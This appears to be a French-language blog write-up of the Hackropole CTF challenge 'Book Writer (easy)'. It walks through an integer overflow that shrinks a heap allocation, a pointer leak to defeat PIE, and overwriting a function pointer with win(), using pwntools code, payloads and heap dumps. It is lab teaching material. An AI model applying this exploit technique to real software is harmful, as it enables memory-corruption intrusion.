Post

Book Writer | Hackropole

Book Writer | Hackropole

Book Writer (easy)

Ressources

Analyse

Le programme est un gestionnaire de librairie dans lequel on peut créer des livres, les lire, écrire etc..

Lecture de code

Premièrement, lorsqu’on créer un livre, il utilise cette structure :

1
2
3
4
5
6
7
struct Book {
  void (*read)();
  void (*write)();
  char title[64];
  char *content;
  unsigned long pages;
};

La structure contient :

  • Une pointeur vers les fonctions read() et write().

  • Un titre de livre de 64 octets.

  • Un nombre de page (4 octets).

Le contenue est initialisé comme ceci :

1
2
3
#define PG_SIZE 128

book->content = (char*) malloc (n * PG_SIZE);

Ici, n est le nombre de page.

La fonction write() permet d’écrire dans content à la page selectionnée.

Le Bug

Le problème réside ici :

1
2
3
4
5
6
7
8
9
  unsigned long n = 0;
  while (n<=0) {
    printf ("Combien de pages ?\n");
    get_input(input, sizeof(input));
    n = strtoul(input, NULL, 10);
  }

  book->pages = n;
  book->content = (char*) malloc (n * PG_SIZE);
  1. Il n’y a aucune vérification sur le nombre de page maximum. tant que n > 0, le nombre de page est validé.

  2. Si on met une taille immense (GROS_NOMBRE * 128), un integer overflow se produit. si on choisit le bon nombre, on peut arriver à n = 0 donc 0 x 128. Donc malloc(0) par défaut va allouer le plus petite taille possible (0x20).

  3. Aussi il y a une fonction Win() qui affiche le flag du chall.

Notre objectif est donc de pouvoir modifier l’un des pointeurs de fonction de la structure Book afin de mettre à la place un pointeur vers win().

Exploit

Pour remplacer le pointeur read() d’une structure livre, il faudrait pouvoir écrire dans cette structure. le problème est que la fonction write() ne permet d’écrire au maximum 127 octets (taille d’une page). Donc en théorie on ne peut pas dépasser la page qu’on écris.

1
2
3
4
5
write_page(struct Book *bk, unsigned long page, char *str)
{
  char *p = &bk->content[(page-1)*PG_SIZE];
  strncpy(p, str, PG_SIZE-1);
}

Il faudrait donc réussir pour content à allouer dans la heap une zone mémoire moins grande pour pouvoir ensuite écrire dans la structure du prochain livre.

  1. Création des livres :

D’abords j’ai créé une fonction pour créer un livre dans le programme cible :

1
2
3
4
5
6
7
8
9
10
11
12
13
def create_book(target, TITLE, PG_NUMBER):
  """
  Function to create a book.
  """
  global BOOK_NUMBER
  target.recvuntil(b'Quitter')
  target.sendline(b'1')
  target.recvline()
  target.sendline(TITLE)
  target.recvline()
  target.sendline(PG_NUMBER)
  BOOK_NUMBER += 1
  log.info(f"BOOK {TITLE} created with {PG_NUMBER} pages.")

Ensuite j’utilise cette fonction pour créer deux livres (A & B) :

1
2
  create_book(target, b"A", str(0x1000000000000000).encode())
  create_book(target, b'B', b'1')

Le livre A profite du bug d’integer overflow qui permet d’allouer seulement 0x20 octets au lieu de n * 128. ce qui veut dire qu’on pourra écrire au delà des 0x20 octets sur 0x40.

Le livre B est normal et sera celui modifié.

voici ce qu’il se passe dans la heap :

1
2
3
4
5
6
7
8
heap
Allocated chunk | PREV_INUSE
Addr: 0x562ef0891720 # LIVRE A
Size: 0x70 (with flag bits: 0x71)

Allocated chunk | PREV_INUSE
Addr: 0x562ef08917b0 # LIVRE B
Size: 0x70 (with flag bits: 0x71)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
x/16gx 0x562ef0891720 # LIVRE A
0x562ef0891720: 0x0000000000000000      0x0000000000000071
0x562ef0891730: 0x0000562ec5a0b1f9      0x0000562ec5a0b290
...                             ^                     ^
                                |                     |
...                           read()                write()
0x562ef0891740: 0x0000000000000041      0x0000000000000000
...                             ^
                                |
                              Title
                      
                  Content pointer         page number
                        |                   |
...                     v                   v
0x562ef0891780: 0x0000562ef08917a0      0x1000000000000000
0x562ef0891790: 0x0000000000000000      0x0000000000000021
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
x/16gx 0x562ef08917b0
0x562ef08917b0: 0x0000000000000000      0x0000000000000071
0x562ef08917c0: 0x0000562ec5a0b1f9      0x0000562ec5a0b290
...                             ^                     ^
                                |                     |
...                           read()                write()
0x562ef08917d0: 0x0000000000000042      0x0000000000000000
...                             ^
                                |
                              Title
                      
                  Content pointer         page number
                        |                   |
...                     v                   v
0x562ef0891810: 0x0000562ef0891830      0x0000000000000001
0x562ef0891820: 0x0000000000000000      0x0000000000000091

On retrouve ici les structures de A et B

Si on regarde le contenue du pointeur de contenue du livre A,

1
2
3
4
5
6
7
8
x/16gx 0x0000562ef08917a0
0x562ef08917a0: 0x0000000000000000      0x0000000000000000
0x562ef08917b0: 0x0000000000000000      0x0000000000000071
0x562ef08917c0: 0x0000562ec5a0b1f9      0x0000562ec5a0b290
...
0x562ef08917d0: 0x0000000000000042      0x0000000000000000
...
0x562ef0891810: 0x0000562ef0891830      0x0000000000000001

On peut voir que nous pouvons lire le contenue de B (et donc écrire par dessus)

  1. Leak d’adresses :

Ensuite j’ai créer une fonction pour lire un livre :

1
2
3
4
5
6
7
8
9
10
def read_book(target):
  """
  Function to read a book.
  """
  target.recvuntil(b"Quitter")
  target.sendline(b'4')
  target.recvline()
  content = target.recvline()
  log.info("BOOK read.")
  return content

Vue qu’il y a PIE d’activé, il faut récupérer une adresse pour calculer les autres. Heureusement le leak du livre B nous permet d’avoir accès à l’adresse de read() & write().

1
2
3
4
5
6
7
8
9
bin = ELF('./book-writer-easy', checksec=False)
WIN_OFFSET = bin.sym['win'] - bin.sym['read_page']

open_book(target, b'A')
content_B = read_book(target)
ptr_read = u64(content_B[33:41])
log.info(f"LEAK : pointer to read() {hex(ptr_read)}")
ptr_win = ptr_read + WIN_OFFSET
log.info(f"LEAK : pointer to win() {hex(ptr_win)}")
  1. Remplacement de read() par win() :

Pour remplacer le pointer vers read() pour celui vers win(), il faut calculer ou est-ce que c’est situé puis l’écrire à cet endroit.

Comme avant j’ai une focntion pour écrire :

1
2
3
4
5
6
7
8
9
10
def write_in_book(target, CONTENT):
  """
  Function to write CONTENT in book opened.
  """
  target.recvuntil(b"Quitter")
  target.sendline(b'3')
  target.recvline()
  target.recvline()
  target.sendline(CONTENT)
  log.info("CONTENT writen in book.")

Donc dans A, on écrit le payload qui va écrire le pointeur de win() dans l’emplacement ou est le pointeur de read().

1
2
3
4
5
PAYLOAD = cyclic(32) + p64(ptr_win)
log.info(f"PAYLOAD : {PAYLOAD}")

open_book(target, b'0')
write_in_book(target, PAYLOAD)

Voici ce que cela donne dans la stack :

1
2
3
4
5
6
pwndbg> x/16gx 0x560b347507b0
0x560b347507b0: 0x6161616661616165      0x6161616861616167
0x560b347507c0: 0x0000560b317d55b9      0x0000000000000000
...                             ^
                                |
                              win()
  1. Affichage du flag :

Il reste plus qu’a activer la fonction de lecture du livre B qui ne va pas lire la première page mais exécuter win().

1
2
3
4
open_book(target, b'1')
flag = read_book(target)

log.info(f"FLAG : {flag}")

Getting flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
./exploit.py --local book-writer-easy

[+] Starting local process './book-writer-easy': pid 8538
[*] BOOK b'A' created with b'1152921504606846976' pages.
[*] BOOK b'B' created with b'1' pages.
[*] BOOK b'A' opened.
[*] BOOK read.
[*] LEAK : pointer to read() 0x5608a96a41f9
[*] LEAK : pointer to win() 0x5608a96a45b9
[*] PAYLOAD : b'aaaabaaacaaadaaaeaaafaaagaaahaaa\xb9Ej\xa9\x08V\x00\x00'
[*] BOOK b'0' opened.
[*] CONTENT writen in book.
[*] BOOK b'1' opened.
[*] BOOK read.
[*] FLAG : b'FLAG{test}\n'

Exploit complet

This post is licensed under CC BY 4.0 by the author.